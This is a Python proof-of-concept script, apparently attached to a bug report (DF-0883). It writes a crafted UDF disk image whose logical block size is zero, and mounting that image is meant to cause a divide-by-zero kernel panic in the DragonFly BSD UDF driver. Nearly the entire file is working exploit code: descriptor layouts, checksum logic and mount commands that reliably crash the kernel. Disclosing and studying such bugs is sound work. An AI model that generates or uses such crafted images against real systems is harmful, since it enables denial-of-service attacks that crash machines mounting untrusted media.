DF-0883 / craft_evil_udf.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | #!/usr/bin/env python3 """ DF-0883 PoC: Craft a UDF image whose Logical Volume Descriptor declares lb_size=0 (logical block size), triggering a divide-by-zero (#DE) kernel panic at mount time. Bug: sys/vfs/udf/udf_vfsops.c 306: udfmp->bsize = lvd->lb_size; // lb_size from disk, UNVALIDATED 307: udfmp->bmask = udfmp->bsize - 1; // bsize=0 => bmask=0xFFFFFFFF 308: udfmp->bshift = ffs(udfmp->bsize) - 1; // bsize=0 => ffs(0)=0, bshift=-1 ... 667: udfmp->p_sectors = pms->packet_len / udfmp->bsize; // #DE divide-by-zero The LVD's lb_size field (ECMA-167 [3/10.6]) is a uint32_t at offset 212 in the on-disk Logical Volume Descriptor. The kernel copies it verbatim into udfmp->bsize and immediately uses it as a divisor in udf_find_partmaps() when a Type 2 Sparable Partition Map is present. This image sets lb_size=0 and includes a Type 2 Sparable Partition Map with packet_len=2048 (non-zero), so the division 2048/0 fires a #DE trap in kernel mode => deterministic kernel panic. Usage: python3 craft_evil_udf.py [evil.udf] Mount: vnconfig -c vn0 evil.udf ; mount -t udf -o rdonly /dev/vn0 /mnt """ import struct, sys SECTOR = 2048 LB_SIZE = 0 # *** BUG TRIGGER *** โ divide-by-zero at udf_vfsops.c:667 PACKET_LEN = 2048 # non-zero dividend so the division executes NSEC = 300 # 614400-byte image (sectors 0..299) def tag(tid, loc, serial=0): """Build a 16-byte ECMA-167 descriptor tag with correct additive checksum. udf_checktag() computes: cksum = sum(bytes[0..14]) - bytes[4], and requires cksum == tag->cksum (bytes[4]). Setting byte4=0 then byte4 = sum(bytes[0..14] with byte4=0) satisfies this. """ t = bytearray(16) struct.pack_into('<HHBBHHHI', t, 0, tid, 2, 0, 0, serial, 0, 0, loc) t[4] = 0 t[4] = sum(t[0:15]) & 0xff return bytes(t) def regid(s): """32-byte regid: flags(1) + id[23] + suffix[8].""" r = bytearray(32) b = s.encode('ascii')[:23] r[1:1+len(b)] = b return bytes(r) img = bytearray(NSEC * SECTOR) # ---- Sector 256: Anchor Volume Descriptor Pointer (TAGID_ANCHOR = 2) ---- # Points main VDS at sector 0, length 8192 (4 sectors => scans 0..3). av = bytearray(SECTOR) av[0:16] = tag(2, 256) # extent_ad is {uint32 len; uint32 loc} โ len first, loc second. struct.pack_into('<II', av, 16, 8192, 0) # main_vds_ex: len=8192, loc=0 struct.pack_into('<II', av, 24, 8192, 0) # reserve_vds_ex: len=8192, loc=0 img[256*SECTOR:257*SECTOR] = av # ---- Sector 0: Logical Volume Descriptor (TAGID_LOGVOL = 6) ---- # Layout of struct logvol_desc (__packed): # 0: desc_tag (16 bytes) # 16: seq_num (uint32) # 20: desc_charset (charspec: 1+63 = 64 bytes) # 84: logvol_id[128] # 212: lb_size (uint32) *** BUG TRIGGER *** # 216: domain_id (regid 32 bytes) # 248: _lvd_use.fsd_loc (long_ad: 16 bytes) # 264: mt_l (uint32) partition-map length # 268: n_pm (uint32) number of partition maps # 272: imp_id (regid 32 bytes) # 304: imp_use[128] # 432: integrity_seq_id (extent_ad 8 bytes) # 440: maps[] (partition maps, 64 bytes each) lv = bytearray(SECTOR) lv[0:16] = tag(6, 0) # TAGID_LOGVOL struct.pack_into('<I', lv, 16, 0) # seq_num # desc_charset @20: type=0, inf="OSTA Compressed Unicode" osta = b'\x00OSTA Compressed Unicode' lv[21:21+len(osta)] = osta[:63] # logvol_id[128] @84 zeroed struct.pack_into('<I', lv, 212, LB_SIZE) # *** lb_size = 0 *** lv[216:216+32] = regid('*OSTA UDF Compliant') # domain_id # _lvd_use.fsd_loc @248: long_ad{len, lb_num, part_num, ...} โ point to sector 32 struct.pack_into('<IHH', lv, 248, SECTOR, 0, 0) # FSD at part_start+0 struct.pack_into('<I', lv, 264, 64) # mt_l = 64 (one 64-byte map) struct.pack_into('<I', lv, 268, 1) # n_pm = 1 lv[272:272+32] = regid('DragonFly BSD') # imp_id # imp_use[128] @304 zeroed struct.pack_into('<II', lv, 432, SECTOR, 280) # integrity seq # ---- Partition map @440: Type 2 Sparable ---- # struct part_map_spare (__packed): # 0: type (uint8) = 2 # 1: len (uint8) = UDF_PMAP_SIZE (64) # 2: reserved[2] # 4: id (regid 32 bytes) = "*UDF Sparable Partition" # 36: vol_seq_num (uint16) # 38: part_num (uint16) # 40: packet_len (uint32) *** non-zero => division executes *** # 44: n_st (uint8) # 45: reserved (uint8) # 46: st_size? โ actually st_size @44 per kernel struct, see below P = 440 lv[P] = 2 # type = 2 (Type 2) lv[P+1] = 64 # len = UDF_PMAP_SIZE lv[P+4:P+4+32] = regid('*UDF Sparable Partition') struct.pack_into('<H', lv, P+36, 0) # vol_seq_num struct.pack_into('<H', lv, P+38, 0) # part_num = 0 struct.pack_into('<I', lv, P+40, PACKET_LEN) # packet_len = 2048 *** non-zero *** lv[P+44] = 0 # n_st = 0 (no sparing tables needed) struct.pack_into('<I', lv, P+46, 0) # st_size = 0 (won't be reached) struct.pack_into('<I', lv, P+50, 0) # st_loc[0] img[0:SECTOR] = lv out = sys.argv[1] if len(sys.argv) > 1 else 'evil.udf' with open(out, 'wb') as f: f.write(img) print(f"[+] wrote {out} ({len(img)} bytes)") print(f"[+] LVD @sector 0: lb_size={LB_SIZE} (BUG TRIGGER: divide-by-zero)") print(f"[+] Type 2 Sparable partition map: packet_len={PACKET_LEN}") print(f"[+] panic site: udf_vfsops.c:667 p_sectors = packet_len / bsize") print(f"[+] = {PACKET_LEN} / {LB_SIZE} => #DE trap") |